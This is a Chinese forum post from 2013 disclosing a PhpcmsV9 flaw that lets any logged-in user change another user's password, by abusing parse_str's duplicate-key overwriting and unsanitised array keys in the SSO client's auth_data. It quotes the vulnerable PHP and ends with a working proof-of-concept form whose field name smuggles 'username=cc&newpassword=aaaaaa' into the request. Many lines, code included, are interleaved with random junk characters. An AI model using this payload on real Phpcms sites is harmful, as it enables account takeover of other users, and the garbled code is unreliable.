找回密码
 立即注册
查看: 2838|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:: J6 s) K( E: y4 @! {5 Q9 m* y

) \4 ]! ?- W( T
) k) z# m3 g8 c9 \1 ]: bparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);' l" i% F6 O0 `$ o  @& X
" Y2 o' C) U$ X% F; Y6 b- U
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
! H# j) e$ {' G# q) c0 Y4 O* s
: i/ ^2 Z) c. n1 c我把它留给了你们。
4 ]1 k7 C" Q7 K# X. ~不知道你们发现了它没有。2 p5 A7 x# {# Z2 T* ~$ c

, S3 Q& h/ F+ i4 a6 F我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
  y9 s  [6 n1 e
; R# m+ v# D. z1 S8 t. p& ^" z所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
2 y4 Y4 a8 I) X% e  V. H  @3 O$ o& w
4 y& @% j& A, c( k6 C也就是$ s* [+ A* p+ |
! [( e) i, l4 b* g5 T
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。2 O$ C5 J! i, v. h) \
$ h, S" c; R' Q1 G7 ~1 \: ~
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
- A- l) a, {! H& j3 U0 g+ p& o$ b9 W- v+ W+ T" z
/ {- i. V+ f: [* S; i/ w+ p) w5 P
其实我们有这样的机会,看看代码,如下:
& v8 d' d9 {; ~# @% b9 S/ ?. [; w$ x% Y1 F  z* Y9 f2 g
2 z7 ~$ M: _+ T2 P3 L1 Z
public function auth_data($data) {
; U. N7 R/ _% p9 @; {8 V                $s = $sep = '';) A: u0 x4 p, y! }- T
                foreach($data as $k => $v) {& x) m1 P3 l* q3 r8 p& z! M
                        if(is_array($v)) {
( U0 j& a( P8 ^; K+ ?7 i6 }                                $s2 = $sep2 = '';/ O( a8 L/ }. A! f
                                foreach($v as $k2 => $v2) {( n" d" o! }% E' p* ~
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
8 s; o. l" X4 y; A3 r0 ?6 r                                        $sep2 = '&';
; P/ |3 D' h+ |+ K                                }
  j, @+ K" _6 y7 I                                $s .= $sep.$s2;- i9 a* B( \0 i$ o8 e, }
                        } else {
: A8 ]; N+ T( @6 L& G$ F                                $s .= "$sep$k=".$this->_ps_stripslashes($v);+ \  A& E+ }$ W2 w( y
                        }
; v: ?9 h) R; ?7 {                        $sep = '&';
9 Q& j9 [  ]% z, a. q; s6 k% E                }! A# G& h9 Y0 `! f0 G9 }

6 z' U9 {0 p2 u4 u6 \( |) p* ?5 v                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));" @6 v) z1 R* T$ o7 `
                return $auth_s;
8 w% j* ?: b9 i6 o% T" P: C% p- _        }# _% x9 }% D# e0 P
5 [) V/ a! A4 k
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
+ l) ?( Q4 I0 A1 \& }$ A" E+ [; M" Q  B* @. ]
举个例子
* F; R' x: B  Q' @: w  H
: H& S5 y4 U2 Z% O( C$a[aaa=a&bbb] = 'a';1 \5 ~( g8 |% T9 m: w2 A* \
) n% N0 g: g: o1 p3 x( H6 @
会变成aaa=a&bbb=a
. N! Q4 b$ i+ E& c4 i0 b8 X' C$ q# t" X  n
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
5 a0 \: O  A+ l! Y0 `% J6 K* s5 `1 R
这个时候,我们可以再去看一个函数。' k8 i: Q5 H2 }
9 R+ [/ ^( u5 f* P( _' V
就在这个文件内:
( l2 J1 H" F: a! h- z
1 o- ?" {4 b$ ^/ B$ z, V: F8 X5 R. Q; Y- l/ p
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
% T3 r+ s1 [% ?. P4 i1 y! g, a                if($email && !$this->_is_email($email)) {2 V) O! M* e" C& v
                        return -4;2 E. m# P  w8 I5 z" R
                }5 W2 j+ z5 ^* r* f
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));0 {8 k; D* ~: T: [7 b
        }
2 i, z/ u: [/ z, r, U
- V9 N* w$ g5 j5 Q# N  `0 \* ?, U这是向通行证发了这样一个请求。
) u: X. ^- a: }$ U. _6 N
3 F, ^# S& u4 ^) F9 I* P- S- }7 B% [我们再跟到通信证代码里去看看,就会有所发现。$ s1 \' {+ k* Y7 k- a; X

. Z: ]; m1 J( E1 T( d
$ k2 h$ M, Y3 u) R5 w1 c. hpublic function edit() {7 m1 v# U7 w7 v$ q% v! C/ F4 E  w
//能省就省,太长了不是吗?
7 g3 x( h7 F- F; B5 X$ M% G; R) A- B1 \1 a# R. b
if($this->username) {
- U, ~5 w  i) k5 @2 X//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。: O; b: [3 x8 k; M  R9 B* E( @7 h+ j
                                $res = $this->db->update($data, array('username'=>$this->username));
& f6 a" J0 H8 W: Y                        } else {9 a4 s0 o/ ?- ?3 ?+ q' ~
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
: ]; M  r3 W$ Z& ^) n                                $res = $this->db->update($data, array('uid'=>$this->uid));
8 e( r* m" M9 D/ |                        }
' B- W% K, Q, P1 m! O' W% [1 }' x# F9 s4 O, e: v7 P( X* o' B
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
2 K+ y% {4 y# u# Z4 D
) X: N& k) O- p- ~$ r5 ]! w1 ]public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
3 v& M; y# T4 ]& o: b2 E8 ~( r" n$ c
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
) d4 Z  N$ q7 D8 P# \4 _2 ~: `( q
% E4 X1 c) f& V- a1 j我当然找到了:1 H0 q% N" h7 _
phpcms9/phpcms/modules/member/index.php
/ I6 c" I% d2 C3 ?. _
' t- |' O, c" P* V1 a" v8 c' r& u: I. a$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);/ d1 e8 ^% I( w8 Q9 w/ N

! y* A7 B, c# d+ X) }# d- m然后就没有然后了。9 Q- _" m0 m! t
; o2 b6 L' u/ `. d# X
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
- g' q& a  g* Z8 r4 a+ {                                <table width="100%" cellspacing="0" class="table_form">
8 v6 [  T8 V! \+ N                                        <tr>
0 H6 ]; M/ ~4 c0 ~+ ]                                                <th width="80">邮箱:</th>        
/ Z4 s/ q7 Z# g0 j; S1 Y* g6 i                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>+ o7 S5 C! }' e/ X2 Z8 _/ w
                                        </tr>, H4 J/ {& Y9 W
                                        <tr>) C  r4 Q) b: C6 l: C# `* o; z
                                                <th width="80">原密码:</th>        & U4 M* R! M$ y) y( w4 A
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>+ m4 v2 K# x0 M$ y. w0 j
                                        </tr>
& f) U3 R1 e- H9 l3 R* [0 v' N                                        <tr>$ ~( V1 V& m0 f. z9 o
                                                <th>新密码:</th>
+ J+ f8 F5 e: l5 l4 u9 K* W                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
* P' `" |8 `" b* A# t                                        </tr>
; O$ Z  t$ J, a0 x5 m3 J7 G                                        <th></th>
8 \; l! G9 R+ e$ b2 j                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
* Y  S" B1 ?# s$ J                                        </tr>
( q1 {  H8 ]. c' C                                </table>3 o0 H* i2 \$ P- f# M3 m7 ]( y; U

9 b) u( |6 i4 M- }, B- Q                               
/ F* R( c, Z0 p& }; v+ p                        </form>% T- s6 V4 X1 n, T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表